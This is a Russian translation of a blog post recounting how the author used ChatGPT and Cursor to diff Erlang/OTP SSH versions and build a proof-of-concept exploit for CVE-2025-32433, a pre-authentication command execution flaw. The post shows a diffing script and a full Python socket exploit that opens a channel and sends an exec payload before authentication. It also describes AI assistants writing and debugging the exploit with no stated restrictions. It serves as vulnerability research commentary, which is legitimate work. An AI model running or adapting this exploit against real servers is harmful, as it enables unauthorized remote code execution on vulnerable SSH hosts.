Написание доказательства концепции для CVE-2025-32433
Пью кофе, просматриваю Twitter, и вот он — твит от Horizon3:
👉 https://x.com/Horizon3Attack/status/1912945580902334793
У них есть доказательство концепции для CVE-2025-32433. Они говорят, что это было «удивительно просто». Но они не сбросили код. Хм.
Естественно, я подумал: если это так просто… может ли ИИ просто написать это за меня?
Эксплойты, создаваемые ИИ?
Оказывается, да, это возможно.
GPT не только понял описание CVE, но и выяснил, какой коммит ввел исправление, сравнил его со старым кодом, нашел разницу, нашел уязвимость и даже написал доказательство концепции. Естественно, с первого раза код не заработал и тогда ИИ сам его отладил и исправил.
Давайте рассмотрим, как я к этому пришел.
Первоначальная подсказка
Первое, что я сделал, это взял выходной код python в анимированном GIF-файле Horizon. Он был не таким уж большим, но его было полезно передать GPT.

Небольшой толчок в правильном направлении никогда не повредит.
Поиск версий
Далее: я проверил официальные рекомендации Erlang на GitHub, чтобы найти как затронутую версию, так и исправленную.

Я знал, что мне нужно будет сравнить эти версии. Поэтому я дал GPT этот базовый запрос, и вот что он выдал:
❯ git checkout OTP-27.3.1 mkdir -p ../ssh_5_2_9 cp -a lib/ssh/\* ../ssh_5_2_9/ # Checkout the commit that introduces ssh-5.2.10 git checkout 71219a5123309c8cf66f929a19a100a242e15681 mkdir -p ../ssh_5_2_10 cp -a lib/ssh/\* ../ssh_5_2_10/
Он даже объяснил, что происходит на каждом шаге. Полезно! На тот момент у меня было два снимка: ssh_5_2_9 (уязвимый) и ssh_5_2_10 (исправленный). Время для сравнения.
diff.py — Наш археолог кода
GPT предоставил мне этот небольшой, но мощный скрипт на Python для рекурсивного сравнения двух версий:
import os import difflib def get_source_files(base_dir): return { os.path.relpath(os.path.join(root, f), base_dir): os.path.join(root, f) for root, _, files in os.walk(base_dir) for f in files if f.endswith((".erl", ".hrl")) } def safe_readlines(path): for enc in ("utf-8", "latin-1"): try: with open(path, "r", encoding=enc) as f: return f.readlines() except UnicodeDecodeError: continue return None def compare_versions(dir1, dir2): files1, files2 = get_source_files(dir1), get_source_files(dir2) common = sorted(set(files1) & set(files2)) diffs = { path: list(difflib.unified_diff( safe_readlines(files1[path]), safe_readlines(files2[path]), fromfile=f"{os.path.basename(dir1)}/{path}", tofile=f"{os.path.basename(dir2)}/{path}")) for path in common if safe_readlines(files1[path]) and safe_readlines(files2[path]) } return diffs # Run diff and print results base1, base2 = "../ssh_5_2_9", "../ssh_5_2_10" diffs = compare_versions(base1, base2) print("\n🔍 Changed Files Between SSH 5.2.9 and 5.2.10 (Recursive):") print("---------------------------------------------------------") for f, lines in diffs.items(): print(f"{f}: {len(lines)} changed lines") print("\n\n📄 Full Diffs for All Changed Files:\n") print("=====================================") for f, lines in diffs.items(): print(f"\n--- {f} ---\n{''.join(lines)}")
Этот скрипт просматривает все файлы .erl и .hrl, сравнивает их построчно и выводит как сводку, так и полное унифицированное сравнение.
Итак, мы получили длинный список различий, который выглядел примерно так:
....omitted for brevity... +early_rce(Config) -> + ... + TypeReq = "exec", + DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>, + ... + {send, SshMsgChannelRequest}, + {match, disconnect(), receive_msg} ....omitted for brevity...
Да — различий очень много. Я не буду вставлять все сюда, потому что мы будем листать вечно.
Итак (и вы, вероятно, это предвидели)… Я передал это ChatGPT и просто сказал:
«Эй, можешь ли ты сказать мне, что стало причиной этой уязвимости?»

Мнение GPT: действительно познавательно
Классический ход GPT — он спросил меня:
«Хотите полноценный PoC-клиент? Демонстрацию в стиле Metasploit? Пропатченный SSH-сервер?»
Да. Все хотим. Начнем с PoC.
Первое подтверждение концепции (PoC)
Вот что сгенерировал GPT. Код явно сырой — просто скрипт сокета Python, который пытается открыть канал и отправить команду до завершения аутентификации.
import socket import struct HOST = "127.0.0.1" # Change to vulnerable SSH server IP PORT = 2222 # Change to correct SSH port # Utilities def string_payload(s): s_bytes = s.encode("utf-8") return struct.pack(">I", len(s_bytes)) + s_bytes def build_channel_open(channel_id=0): return ( b"\x5a" + # SSH_MSG_CHANNEL_OPEN string_payload("session") + struct.pack(">I", channel_id) + # sender channel struct.pack(">I", 0x68000) + # initial window size struct.pack(">I", 0x10000) + # max packet size b"" ) def build_channel_request(channel_id=0, command="file:write_file(\"/lab.txt\", <<\"pwned\">>)."): payload = ( b"\x62" + struct.pack(">I", channel_id) + string_payload("exec") + b"\x01" + string_payload(command) ) return payload def build_kexinit(): cookie = b"\x00" * 16 def name_list(l): return string_payload(",".join(l)) return ( b"\x14" + cookie + name_list(["diffie-hellman-group14-sha1"]) + name_list(["ssh-rsa"]) + name_list(["aes128-ctr"]) * 2 + name_list(["hmac-sha1"]) * 2 + name_list(["none"]) * 2 + name_list([]) * 2 + b"\x00" + struct.pack(">I", 0) ) # Step-by-step protocol with socket.create_connection((HOST, PORT)) as s: print("[*] Connecting to SSH server...") s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n") banner = s.recv(1024) print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}") print("[*] Sending KEXINIT...") kex_packet = build_kexinit() kex_len = struct.pack(">I", len(kex_packet) + 1) kex = kex_len + b"\x0a" + kex_packet + b"\x00" * 6 s.sendall(kex) print("[*] Sending channel_open...") chan_open = build_channel_open() chan_len = struct.pack(">I", len(chan_open) + 1) s.sendall(chan_len + b"\x0a" + chan_open + b"\x00" * 6) print("[*] Sending channel_request with exec payload...") chan_req = build_channel_request(command='file:write_file("/lab.txt", <<"pwned">>).') req_len = struct.pack(">I", len(chan_req) + 1) s.sendall(req_len + b"\x0a" + chan_req + b"\x00" * 6) print("[✓] Exploit sent. If target was vulnerable, it attempted to write /lab.txt.")
Отладка с помощью Cursor
Ничего удивительного: первоначальный код не работал.
Поэтому я сменил тактику. Поскольку код становился все более тяжелым, я открыл Cursor, загрузил код, открыл терминал и просто спросил:
«Исправь код PoC?»

Никаких подробных инструкций. Никаких ограничений. Просто терминал разработчика, сломанный скрипт и обнадеживающая подсказка.
К моему удивлению, это сработало!
GPT (через Cursor и Sonnet 3.7) исправил проблемы, изменил сообщения протокола и все заработало.

Я запустил исправленную версию, и она успешно записала /lab.txt на моей тестовой системе. Чистый, рабочий, полностью сгенерированный ИИ эксплойт для CVE, у которого на тот момент не было публичного PoC.
Заключительные мысли
Вот и всё. От твита → до копания в diffs → до полного PoC-эксплойта — все без предварительного открытого кода, с которого можно было бы начать. И большую часть этого сделал ИИ.
Жесть!
Это открывает некоторые серьезные вопросы о том, как быстро ИИ может помочь в исследовании уязвимостей — или даже автоматизировать целые его части. Мы наблюдаем, как наступает новая эра инструментов безопасности.
То, что началось как любопытство по поводу твита, превратилось в глубокое исследование того, как ИИ меняет исследования уязвимостей. Несколько лет назад этот процесс потребовал бы специальных знаний Erlang и часов ручной отладки. Сегодня это заняло пол дня с правильными подсказками.
Это хорошо или вызывает беспокойство? Вероятно, и то, и другое. Это демократизирует исследования безопасности, одновременно потенциально снижая барьер для разработки эксплойтов. Но именно поэтому ответственное раскрытие информации и совместные методы обеспечения безопасности важны как никогда.
Огромное спасибо Horizon3 и Фабиану Боймеру за их ответственное раскрытие этой уязвимости. Их работа продолжает делать сообщество безопасности сильнее.
Я решил перевести эту статью для вас, потому что уверен в её концептуальной важности для всей кибербезопасности. Эта статья — рабочий кейс того, как нужно действовать, чтобы быстро получить рабочий эксплойт к самым свежим CVE, а использование ИИ существенно расширяет круг людей, кто может подобное делать в принципе.
Я думаю так, что если к лету 2025 у вас нет автоматизации по поиску патчей, их автоматической проверки и установки, то ваша безопасность безнадёжно устарела. Как же быстро всё развивается…
Если вам понравилась статья, поставьте мне «ХАБР-лайк» и приходите в мой Телеграм!
ссылка на оригинал статьи https://habr.com/ru/articles/905552/
Добавить комментарий